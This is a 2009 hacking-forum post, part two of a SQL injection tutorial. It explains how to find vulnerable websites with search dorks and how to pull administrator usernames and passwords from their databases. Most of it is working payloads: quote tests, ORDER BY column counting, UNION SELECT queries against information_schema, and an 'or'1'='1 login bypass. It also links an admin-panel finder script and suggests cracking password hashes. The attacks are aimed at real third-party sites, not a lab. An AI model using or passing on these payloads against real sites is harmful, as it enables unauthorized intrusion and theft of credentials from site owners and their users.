(Feb 9, 2009 02:01 AM)dan1el Wrote:  ==
by dan1el a.k.a $qL_DoCt0r

part 2: injecting sql queries to extract the admin username and password

ok so lets say we have a site :
www.xx.com/index.php?catid=1
there is a list of dork 4 sites lyk this

"inurl:index.php?catid="
"inurl:news.php?catid="
"inurl:index.php?id="
"inurl:news.php?id="
or the best in my view "full credit to qabandi for discovering this"
"inurl:".php?catid=" site:xxx"

So once you have you'r site
www.xxxx.com/index.php?catid=1
now we add a ' to the end of the url
so the site is
www.xxxx.com/index.php?catid=1'
if there is an error of some sort then it is vulnerable
now we need to find the number of columns in the sql database
so we type
www.xxxx.com/index.php?catid=1 order by 1-- "no error"
www.xxxx.com/index.php?catid=1 order by 2-- "no error"
www.xxxx.com/index.php?catid=1 order by 3-- "no error"
www.xxxx.com/index.php?catid=1 order by 4-- "no error"
www.xxxx.com/index.php?catid=1 order by 5-- "error"

so this database has 4 columns because we got an error on 5
on some databases there is 2 columns and on some 200 it varies
so once we have the column number.
we try the union function
www.xxxx.com/index.php?catid=1 union select 1,2,3,4-- "or whatever number of columns are in the database"
if you see some numbers like 1 2 3 4 on the screen or the column names
it might not show all numbers on the screen but the numbers displayed are the ones you can replace to extract info from the db
so now we need to info about the db
so lets say the numbers 2 and 4 showed up on the screen
so i will use my query on 2
www.xxxx.com/index.php?catid=1 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3,4--
the db type and version will pop up on the screen
if the db version is 4 or lower then to extract the password you will need these queries
www.xxxx.com/index.php?catid=-1 UNION SELECT 1,concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37),3,4--
this should display the table containing the admin username and password
but if not then you will have to guess the table
so once you have your table "or not"
then type
www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintablename--
where it says admintablename type the table you found with concat(table_name,CHAR(58),column_name,CHAR(58),table_schema) from information_schema.columns where column_name like CHAR(37, 112, 97, 115, 37)-- or your guess
then once u have the right table name you should get the administrator password
then just do the same thing but type username instead of password
sometimes the password is hashed and you need to crack it.
then see if you can get the admin panel if you cant then try the admin panel finder script here http://www.darkc0de.com/c0de/perl/admin_1.2_.txt
now if the database is version 5 or up
type
www.xxxx.com/index.php?catid=-1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
and that will display a list of all the tables
once you have your table name
type the same thing as 4
www.xxxx.com/index.php?catid=1 UNION SELECT 1,password,3,4 FROM admintable--
then the same with username
but now if it doesnt work far all those things
just tootoo around with all the little catid=1 or catid=-1 or instead of -- put /* or even nothing
just play around with those
but sometimes we also need to use the version() or version@@
so sometimes UNION SELECT version (),password,3,4 FROM admintable--
or UNION SELECT version @@,password,3,4 FROM admintable--

well that about wraps up my sql injection tutorial.
you can contact me on
[email protected]
only msn me NO EMAILS I HATE THEM
🤝

(Feb 9, 2009 10:56 AM)dan1el Wrote:  oops thanks 4 poiting that out
"i dont normally use the old ' or '1'='1 my friend is the one who said 'or'1'='1 works and with the x as well"
ps 'or'1'='1'oe-- "was made up by my friend